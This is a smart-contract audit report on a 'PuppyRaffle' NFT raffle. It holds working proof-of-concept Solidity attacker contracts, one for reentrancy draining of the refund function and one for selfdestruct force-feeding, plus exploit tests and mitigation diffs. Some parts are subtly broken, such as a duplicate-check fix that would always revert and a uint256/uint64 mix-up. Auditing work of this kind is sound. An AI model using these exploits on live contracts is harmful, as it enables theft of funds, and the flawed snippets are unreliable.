PuppyRaffle Report

Version 1.0

September 13, 2024

PuppyRaffle Audit Report

Jaxon Chen

Sep .13, 2024

Lead Auditors: Jaxon Chen

Table of Contents

    * [M-1] In function `PuppyRaffle::enterRaffle`, the loop for checking duplicates in the array list faces a potential risk of denial of service attack, substantially incrementing gas costs for new entrants.
    * [M-2] Smart contract walltes winners without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players but there's indeed player 0 who is the first player, causing this player mistakely think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variablein a loop should be cached.
  - Informational
    * [I-1] Solidity pragma should be specific, not wide.
    * [I-2] Using an outdated version of Solidity is not recommended.
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] Using plain numbers is discouraged
    * [I-5] `PuppyRaffle::_isActivePlayer` is never used an should be removed.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Author makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	1
Gas	2
Info	5
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI pattern, neither has a modifier to prevent reentrance. It enables potential attacker to drain the contract balance.

Function first makes an external call and then update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A malicious attacker could use a contract to enter the raffle which has a `fallback`/`receive` function repeatedly calls `PuppyRaffle::refund` untill the contract is drained.

Impact:

All balance in the contract could be stolen by the attacker.

Proof of Concept:

1. Attacker enters the raffle with a contract with a `fallback` function that calls `PuppyRaffle::refund`
2. Attacker enters the raffle
3. Attacker calls `PuppyRaffle::refund`
4. Before `PuppyRaffle::refund` updates the array, `fallback` function repeatedly calls `PuppyRaffle::refund` and drains out the contract

Proof of Code

Code

This is the attacker contract.

```
contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _steal() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _steal();
    }

    receive() external payable {
        _steal();
    }
}
```

This is for test codes.

```
    function test_ReentrancyRefund() public {
```

```
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack attacker = new ReentrancyAttack(puppyRaffle);

        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingRaffleBalance = address(puppyRaffle).balance;

        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);
        vm.prank(attackUser);
        attacker.attack{value: entranceFee}();
        console.log("starting attacker balance: ",
            startingAttackerBalance);
        console.log("starting contract balance: ",
            startingRaffleBalance);
        console.log("ending attacker balance: ", address(attacker).
            balance);
        console.log("ending raffle balance: ", address(puppyRaffle).
            balance);
    }
```

Recommended Mitigation:

- Modify `PuppyRaffle::refund` to update the `player` array and emit the event before making the external call.
- Use `ReentrancyGuard` from oppenzeppelin to prevent reentrant calls to a function

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);

    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to predict or even influence the winner.

Description: `msg.sender`, `block.timestamp` and `block.difficulty` are predicatable. Malicious users can manipulate these values or konw them ahead of the time to choose the winner.

Impact: Any user can influence the winner of the raffle, win the money and select the `rarest` NFT.

Proof of Concept:

1. Validators can know `block.timestamp` and `block.difficulty` and use them to predict the outcomes.
2. User can use different addresses for `msg.sender` to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting NFT.

Recommended Mitigation: Consider use a well-structed and proved random number generator such as Chainlink VRF.

[H-3] Integer overflow in `PuppyRaffle::totalFees` might cause the contract to lose fees if the fees exceeds certain amount.

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows and the compiler does not report error.

```
totalFees = totalFees + uint64(fee);
```

If the fee exceeds `type(uint64).max`, the value is set to `newValue - type(uint64).max`.

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are amount to be collected later in `PuppyRaffle::withdrawFees`. The overflow in `totalFees` could result in money loss, leaving the fee permanently stuck in the contract.

Proof of Concept:

1. A certain number of players enter the raffle.
2. The fees exceeds the max boundry of `uint256`, which is roughly 19 ethers.
3. It causes overflow and resets the fee starting from 0.
4. The owner will not be able to withdraw fees.

test code

```
function testTotalFeesOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
```

```
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

- use newer solidity versions.
- use `uint256` instead of `uint64`.
- use `SafeMath` library from oppenzepplin.

[H-4] `PuppyRaffle::withdrawFees` vulnerable to selfdestruct attack, potentially locking fees forever

Description The `PuppyRaffle::withdrawFees` function has a strict balance check that can be exploited using a `selfdestruct` attack, potentially locking fees in the contract permanently.

```
function withdrawFees() external {
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

The function checks if the contract's `balance` exactly matches `totalFees`. However, an attacker can force Ether into the contract using `selfdestruct`, causing this check to always fail.

Impact If an attacker sends even a small amount of Ether to the contract using `selfdestruct`, the withdrawFees function will become permanently unusable, locking all accumulated fees in the contract forever.

Proof of Concept

1. The contract accumulates fees normally.
2. An attacker deploys a contract with a selfdestruct function that sends a small amount of Ether (e.g., 1 wei) to the `PuppyRaffle` contract.
3. The attacker calls their contract's `selfdestruct` function.
4. Now, `address(this).balance` will always be greater than `uint256(totalFees)`.
5. Any attempt to call `withdrawFees` will fail, locking the fees in the contract permanently.

Proof of Code

Code

```
contract Attacker {
    function attack(address payable _target) public payable {
        selfdestruct(_target);
    }
}

function testSelfdestructAttack() public {
    // Setup
    uint256 initialFees = 1 ether;
    deal(address(puppyRaffle), initialFees);
    puppyRaffle.totalFees = initialFees;

    // Attack
    Attacker attacker = new Attacker();
    attacker.attack{value: 1 wei}(payable(address(puppyRaffle)));

    // Attempt to withdraw fees
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();

    // Verify fees are locked
    assertEq(address(puppyRaffle).balance, initialFees + 1 wei);
    assertEq(puppyRaffle.totalFees, initialFees);
}
```

Recommended Mitigation Remove the strict balance check and use a "pull over push" pattern for fee withdrawal:

```
function withdrawFees() external {
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
    uint256 feesToWithdraw = totalFees;
```

```
    totalFees = 0;
-   (bool success,) = feeAddress.call{value: feesToWithdraw}("");
-   require(success, "PuppyRaffle: Failed to withdraw fees");
+   (bool success,) = feeAddress.call{value: feesToWithdraw}("");
+   if (!success) {
+       totalFees = feesToWithdraw;
+   }
}
```

This change allows fee withdrawal regardless of the contract's balance and ensures that `totalFees` is only reset if the transfer is successful.

Medium

[M-1] In function `PuppyRaffle::enterRaffle`, the loop for checking duplicates in the array list faces a potential risk of denial of service attack, substantially incrementing gas costs for new entrants.

Description:

The function `PuppyRaffle::enterRaffle` function loops through the array `players` array to check duplicates. If the array gets extremly long, it will tremendously increase the cost for a new player to enter the raffle. Every addition in the current pool results more checks.

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
}
```

Impact: The gas costs for raffle entrants will drastically increase as more players enter the raffle. It will discourage later players from entering and potentially exceeds the gas limit of the block, hence breaking the functionality of the protocol.

Proof of Concept:

Imagine we have two sets of 500 players entering the raffle, the gas cost for entry of first 500 players is 110165180. The gas cost for entry of the second 500 players is 405906812. The latter one is extremly more expensive than the former.

PoC

Place the following test into test file.

```
function testDosAttack() public {
```

```
    vm.txGasPrice(1);
    uint256 startGas = gasleft();
    address[] memory players = new address[](500);
    for (uint256 i; i < 500; i++) {
        players[i] = (address(uint160(i)));
    }
    puppyRaffle.enterRaffle{value: entranceFee * 500}(players);
    uint256 gasCost = startGas - gasleft();
    console.log("gas cost after enter array of 500 players: ", gasCost)
        ;

    address[] memory playersTwo = new address[](500);
    for (uint256 i; i < 500; i++) {
        playersTwo[i] = (address(uint160(i + 500)));
    }
    uint256 gasStartTwo = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * 500}(playersTwo);
    uint256 gasCostTwo = gasStartTwo - gasleft();
    console.log("gas cost after enter array of 500 more players: ",
        gasCostTwo);
    assert(gasCost < gasCostTwo);
}
```

Recommended Mitigation:

1. Consider allowing duplicates. It does not break the protocol original functionality since allowing duplicates is a kind of creating multiple new addresses.
2. Consider using a mapping to check for duplicates. This takes constant time lookup. For every cycle of the raffle, it uses different raffleId. For players to enter the raffle, they are assigned to the current raffleId.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;

    ...

    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

+        for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
```

```diff
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
    }
```

3. you can also use OpenZeppelin's `EnumerableSet` library

[M-2] Smart contract walltes winners without a `receive` or a `fallback` function will block the start of a new contest

Description:

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract and it reverts the payment, the lottery would not be able to restart.

```
function selectWinner() external {
    // ... (previous code)

    (bool success,) = winner.call{value: prizePool}("");
    require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
}
```

If the `call` fails, the function will `revert` due to the `require` statement, leaving the contract in an unresolved state.

Impact: If a smart contract without the ability to receive Ether wins the raffle, the entire lottery system will become stuck. This could lead to:

- Funds being locked in the contract
- Inability to start new raffles
- Loss of user trust in the platform

Proof of Concept:

1. A smart contract without a receive or fallback function enters and wins the raffle.
2. The selectWinner function is called.
3. The prize transfer fails, causing the entire function to revert.
4. The raffle cannot be reset, and no new raffle can start.

Recommended Mitigation: Implement a pull payment system instead of pushing payments to winners. This approach allows winners to claim their prizes, reducing the risk of failed transfers blocking the system.

```
mapping(address => uint256) public prizes;

function selectWinner() external {
    // ... (previous code)

    prizes[winner] = prizePool;
    // Remove direct transfer
    // (bool success,) = winner.call{value: prizePool}("");
    // require(success, "PuppyRaffle: Failed to send prize pool to winner");

    _safeMint(winner, tokenId);
}

function claimPrize() external {
    uint256 prize = prizes[msg.sender];
    require(prize > 0, "No prize to claim");
    prizes[msg.sender] = 0;
    (bool success,) = msg.sender.call{value: prize}("");
    require(success, "Failed to send prize");
}
```

This solution separates the winner selection from the prize distribution, ensuring that the raffle can always reset and start a new contest, regardless of whether the winner can immediately receive the funds.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players but there's indeed player 0 who is the first player, causing this player mistakely think they have not entered the raffle.

Description:

If a player is in `PuppyRaffle::players` array at index 0, this will return 0.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact:

Player 0 may think they have not entered the raffle and attempt to enter the raffle againl

Proof of Concept:

1. The first player entering the raffle is at index 0
2. `PuppyRaffle::players` returns 0
3. User thinks they failed to enter the raffle.

Recommended Mitigation:

- revert if player is not in the array
- reserve index 0
- return -1 intead of 0

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from constant or immutable variables.

Example:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonbImageUri` should be `constant`
- `PuppyRaffle::rareimageUri` should be `constant`
- `PuppyRaffle::legendaryUri` should be `constant`

[G-2] Storage variablein a loop should be cached.

```
+    uint256 playerLength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for(uint256 i = 0; i < playerLength - 1; i++){
```

```
-         for (uint256 j = i + 1; j < players.length; j++) {
+          for (uint256 j = i + 1; j < playerLength; j++) {
              require(players[i] != players[j], "PuppyRaffle: Duplicate
                  player");
          }
      }
```

Informational

[I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Check slither for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
        feeAddress = newFeeAddress;
```

[I-4] Using plain numbers is discouraged

It can be confusing to use plain numbers. Instead, initiate the numbers as constant variables.

[I-5] `PuppyRaffle::_isActivePlayer` is never used an should be removed.